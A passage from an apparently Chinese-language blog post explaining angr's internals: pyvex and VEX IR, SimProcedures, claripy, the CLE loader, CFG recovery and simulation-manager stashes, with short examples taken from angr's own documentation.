</span>下图在angr团队的演讲里面展示的，正是对应的上述的VEX结构。因此可以看出pyvex可以很好的把机器码转换为中间语言来方便进行二进制分析。对于所有的vex struct都对应的有python class和enums，这些都以字符串的形式表示，总的来说就是整个的中间表示能力都可以用python完成。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4596153846153846" data-s="300,640" style="" data-type="png" data-w="1040" src="https://wechat2rss.xlab.app/img-proxy/?k=fe6fd504&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkabTx0JNr29iaUG1yXsrK8sNmWicIaE4icSWmibJQyEJTU9I1QKiaJfGwbAPQnKy8AJvibNNuoHPk1tatrw%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">在Angr里面还存在SimuVEX，这是为了符号执行，它本身是作为VEX IR（IRSBs）的符号执行引擎：</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.35703125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=72b17bdb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkabTx0JNr29iaUG1yXsrK8sN5gjnqywzxFAyuHOTRwiaWuwZ0S0zMlBQhznkkiaN7QknX7riaFhjkJN9g%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">符号执行的一个核心在于执行环境的实现，因此SimuVEX必须实现：</p><ol style="font-size: 14px;white-space: normal;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>1. 内存和寄存器建模。</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>2. syscalls</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>3. Files and other data sources from outside the program</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>4. Providing symbolic summaries (SimProcedures) of common library functions</p></li></ol><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">这里面比较难以理解的就是symbolic summaries了，先看下angr官方的例子：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;"><span style="color: rgb(97, 174, 238);">&gt;&gt;&gt; </span><span style="color: rgb(198, 120, 221);">from</span> angr <span style="color: rgb(198, 120, 221);">import</span> Project, SimProcedure<br/><span style="color: rgb(97, 174, 238);">&gt;&gt;&gt; </span>project = Project(<span style="color: rgb(152, 195, 121);">&#39;examples/fauxware/fauxware&#39;</span>)<br/><span style="color: rgb(97, 174, 238);">&gt;&gt;&gt; </span><span style="color: rgb(198, 120, 221);">class</span> <span style="color: rgb(230, 192, 123);">BugFree</span>(<span style="color: rgb(230, 192, 123);">SimProcedure</span>):<br/><span style="color: rgb(97, 174, 238);">... </span>   <span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">run</span>(self, argc, argv):<br/><span style="color: rgb(97, 174, 238);">... </span>       <span style="color: rgb(230, 192, 123);">print</span>(<span style="color: rgb(152, 195, 121);">&#39;Program running with argc=%s and argv=%s&#39;</span> % (argc, argv))<br/><span style="color: rgb(97, 174, 238);">... </span>       <span style="color: rgb(198, 120, 221);">return</span> <span style="color: rgb(209, 154, 102);">0</span><br/><span style="color: rgb(92, 99, 112);font-style: italic;"># this assumes we have symbols for the binary</span><br/><span style="color: rgb(97, 174, 238);">&gt;&gt;&gt; </span>project.hook_symbol(<span style="color: rgb(152, 195, 121);">&#39;main&#39;</span>, BugFree())<br/><span style="color: rgb(92, 99, 112);font-style: italic;"># Run a quick execution!</span><br/><span style="color: rgb(97, 174, 238);">&gt;&gt;&gt; </span>simgr = project.factory.simulation_manager()<br/><span style="color: rgb(97, 174, 238);">&gt;&gt;&gt; </span>simgr.run()  <span style="color: rgb(92, 99, 112);font-style: italic;"># step until no more active states</span><br/>Program running <span style="color: rgb(198, 120, 221);">with</span> argc=&lt;SAO &lt;BV64 <span style="color: rgb(209, 154, 102);">0x0</span>&gt;&gt; <span style="color: rgb(198, 120, 221);">and</span> argv=&lt;SAO &lt;BV64 <span style="color: rgb(209, 154, 102);">0x7fffffffffeffa0</span>&gt;&gt;<br/>&lt;SimulationManager <span style="color: rgb(198, 120, 221);">with</span> <span style="color: rgb(209, 154, 102);">1</span> deadended&gt;</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span style="color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1.4px;text-align: left;">  </span>可以看出SimProcedures的一个核心作用就是hook，这里main函数不再执行，而是执行我们定义的SimProcedures，这意味着可以定义程序的运行。因此上述的4应该就是提供对于库函数的替代，这样的一个好处也在于提升了符号执行的性能。如果想对SimuVEX有一个更好的了解可以参考下面的文章，来从源代码进行理解：</p><blockquote style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-left: none;padding: 1em;border-radius: 8px;color: rgba(0, 0, 0, 0.5);background: rgb(247, 247, 247);margin: 2em 8px;"><p style="line-height: 1.75;font-size: 1em;letter-spacing: 0.1em;color: rgb(80, 80, 80);"><a href="https://sites.google.com/site/bletchleypark2/malware-analysis/angr/simuvex" target="_blank">https://sites.google.com/site/bletchleypark2/malware-analysis/angr/simuvex</a></p><p style="line-height: 1.75;font-size: 1em;letter-spacing: 0.1em;color: rgb(80, 80, 80);">如果打算做符号执行的话，还是深入读一下，这一块是对执行过程state的很核心的代码。</p></blockquote><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">claripy</h3><blockquote style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-left: none;padding: 1em;border-radius: 8px;color: rgba(0, 0, 0, 0.5);background: rgb(247, 247, 247);margin: 2em 8px;"><p style="line-height: 1.75;font-size: 1em;letter-spacing: 0.1em;color: rgb(80, 80, 80);">这个玩意挺难，挺复杂的。</p><p style="line-height: 1.75;font-size: 1em;letter-spacing: 0.1em;color: rgb(80, 80, 80);"><a href="https://docs.angr.io/advanced-topics/claripy#solvers" target="_blank">https://docs.angr.io/advanced-topics/claripy#solvers</a></p></blockquote><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">claripy是Angr的一个约束求解引擎，主要的设计思想如下：</p><ul style="font-size: 14px;white-space: normal;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;list-style: circle;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• Claripy ASTs 提供一个统一的方式和符号化的或者具体化的表达式交互。</p></li></ul><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span style="color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1.4px;text-align: left;">  </span>在claripy里面实现了bitvectors，这使得我们可以在变量上构建表达式符号树，对它们的值添加约束然后求解它们具体的值，这个操作依赖z3。Claripy ASTs抽象了claripy支持的不同数学结构之间的差异，实现了很多处理操作，同时还实现了求解器。求解器可以说是Claripy最主要的功能，Solvers暴露api和ASTs以不同的方式进行交互并且返回可用的值，同时其具备不同的求解器类型以满足不同的要求。通过Claripy Backends可以构建自定义求解器，但是这将非常硬核。</p><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">symbolic execution example</h3><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span style="color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1.4px;text-align: left;">  </span>符号执行的一个特色就是状态复制，这也是路径爆炸问题的一个根本来源，状态复制指的是在符号执行的过程中如果state A遇到一个if else分支结构，那么就会复制出来两个状态对应不同的分支。</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6671875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=91cf1529&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkabTx0JNr29iaUG1yXsrK8sN3DzmJxqiaOmWVxnxwA9m1tPTpVxkCIIeZZu8Ctyicnc0RicwnuDJ0JF1g%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">不同的state会添加不同的约束，然后最后求解的时候就是对这些约束进行求解。</p><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">CLE</h3><blockquote style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-left: none;padding: 1em;border-radius: 8px;color: rgba(0, 0, 0, 0.5);background: rgb(247, 247, 247);margin: 2em 8px;"><p style="line-height: 1.75;font-size: 1em;letter-spacing: 0.1em;color: rgb(80, 80, 80);"><a href="https://www.anquanke.com/post/id/231591https://www.anquanke.com/post/id/231591" target="_blank">https://www.anquanke.com/post/id/231591https://www.anquanke.com/post/id/231591</a></p><p style="line-height: 1.75;font-size: 1em;letter-spacing: 0.1em;color: rgb(80, 80, 80);">（上面的好像关了。。。）</p><p style="line-height: 1.75;font-size: 1em;letter-spacing: 0.1em;color: rgb(80, 80, 80);"><a href="https://github.com/angr/cle" target="_blank">https://github.com/angr/cle</a></p></blockquote><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span style="color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1.4px;text-align: left;">  </span>CLE主要表现为一个binary loader，但是其非常复杂，通过其可以将可执行文件和libraries文件载入到可用的地址空间，其复杂性来源于为不同平台，不同架构设计了统一的加载接口。这个里面最重要的其实就是VEX IR，VEX IR利用中间语言的方式抽象了机器代码的表示形式，同时消除不同体系结构之间的差异：</p><ol style="font-size: 14px;white-space: normal;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>1. 寄存器名称。</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>2. 内存访问</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>3. 内存分段</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>4. 具有副作用的指令，比如push pop</p></li></ol><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">analyses</h3><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span style="color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1.4px;text-align: left;">  </span>这是angr的核心分析模块，它将所有的抽象结合在一起形成一个统一的控制接口Project，这将实现非常便利的访问符号执行，CFG恢复，data-flow分析等等。但是这需要大量的基础知识来帮助完成理解。</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">在对于Angr的CFG进行理解的时候也不能完全按照ida的模式去理解:</p><blockquote style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-left: none;padding: 1em;border-radius: 8px;color: rgba(0, 0, 0, 0.5);background: rgb(247, 247, 247);margin: 2em 8px;"><p style="line-height: 1.75;font-size: 1em;letter-spacing: 0.1em;color: rgb(80, 80, 80);"><a href="https://docs.angr.io/introductory-errata/faq#why-is-angrs-cfg-different-from-idas" target="_blank">https://docs.angr.io/introductory-errata/faq#why-is-angrs-cfg-different-from-idas</a></p></blockquote><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span style="color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1.4px;text-align: left;">  </span>id不会再function call的地方拆分block，但是angr会，所以angr每次的step可能会因为function call进入下一个基本块。IDA侧重于提供更好的分析体验，而angr则侧重于自动化分析，在自动化分析过程中一般不需要超图，因为自动化分析一般想要的是更细致的内容。如果一个类似jump的跳转返回到基本块中间，ida一般会拆分，但是angr不会，因为很多静态分析一般不需要，但是可以通过生成cfg的过程中传递<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">normalize=True</code> 参数来开启拆分功能。</p><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">Simulation Managers</h3><blockquote style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-left: none;padding: 1em;border-radius: 8px;color: rgba(0, 0, 0, 0.5);background: rgb(247, 247, 247);margin: 2em 8px;"><p style="line-height: 1.75;font-size: 1em;letter-spacing: 0.1em;color: rgb(80, 80, 80);"><a href="https://github.com/angr/angr-doc/blob/master/docs/pathgroups.md#simulation-managers" target="_blank">https://github.com/angr/angr-doc/blob/master/docs/pathgroups.md#simulation-managers</a></p></blockquote><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span style="color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1.4px;text-align: left;">  </span>angr分析模块里面最重要的control interface就是SimulationManager了，它可以同时控制状态组的符号执行，执行不同的搜索策略来探索程序的state空间。在符号执行的过程中，States会被组织成stashes，这使得分析人员可以step forward, filter, merge, and move around as you wish，甚至同时以不同的方式指向两种不同的stash集合并对其进行合并，默认操作的的stash是active。之前已经了解到angr可能存在很多states在stash里面，这些state可以通过move切换，move存在三个参数from_stash, to_stash, and filter_func用来对states进行filter和移动。</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;"><span style="color: rgb(97, 174, 238);">&gt;&gt;&gt; </span>simgr.move(from_stash=<span style="color: rgb(152, 195, 121);">&#39;deadended&#39;</span>, to_stash=<span style="color: rgb(152, 195, 121);">&#39;authenticated&#39;</span>, filter_func=<span style="color: rgb(198, 120, 221);">lambda</span> s: <span style="color: rgb(152, 195, 121);">b&#39;Welcome&#39;</span> <span style="color: rgb(198, 120, 221);">in</span> s.posix.dumps(<span style="color: rgb(209, 154, 102);">1</span>))<br/><span style="color: rgb(97, 174, 238);">&gt;&gt;&gt; </span>simgr<br/>&lt;SimulationManager <span style="color: rgb(198, 120, 221);">with</span> <span style="color: rgb(209, 154, 102);">2</span> authenticated, <span style="color: rgb(209, 154, 102);">1</span> deadended&gt;</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span style="color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1.4px;text-align: left;">  </span>通过上述操作我们创建一个新的stash。同时必须记得，state其实就是一个list，可以通过索引访问或者迭代等其它方法访问，比如利用<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">one_</code> 或者 <code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">mp_</code>前缀，但是mp前缀返回给你的是一个 <span style="line-height: 1.75;color: rgb(87, 107, 149);">mulpyplexed</span> version of the stash.对于stash也存在一些特殊类型，如下：</p><ol style="font-size: 14px;white-space: normal;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>1. active和deadended。这两个比较容易理解，一个是当前使用的stash一个是里面包含的已经没办法继续执行的state。</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>2. pruned, state可以通过Options进行调整，每一个state存在一个state.options，它们控制着angr 执行引擎的行为，当options中添加LAZY_SOLVES的时候，states在运行的时候不会检查满意度（satisfiability 指的是solver在求解前的测试，看看约束或者其他信息能否满足求解需要，如果返回true，接下来进行求解），除非非常必要的情况下才会进行检查，当该state unsat的时候， 遍历所有的state层级去识别历史上什么时候最初变得unsat，所有的继承于最初unsat点的state都将被放入pruned 集合。</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>3. save_unconstrained option如果被指定，所有被确定为无法约束的状态都会被放入这里。</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>4. Unsat，如果save_unsat option被指定，那么所有的unsatisfiable state都被放在这个集合，大多数的原因可能是具备相互矛盾的约束。</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>5. errored，如果state在执行过程中遇到raise error，该state被打包进入ErrorRecord object，这其中还包括raised error，然后放入errord集合.</p></li><ol style="line-height: 1.75;padding-left: 1em;list-style-type: lower-alpha;" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>1. You can get at the state as it was at the beginning of the execution tick that caused the error with <code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">record.state</code>, you can see the error that was raised with <code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">record.error</code>, and you can launch a debug shell at the site of the error with <code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">record.debug()</code>. This is an invaluable debugging tool!</p></li></ol></ol><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">Exploration Techniques</h3><blockquote style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, 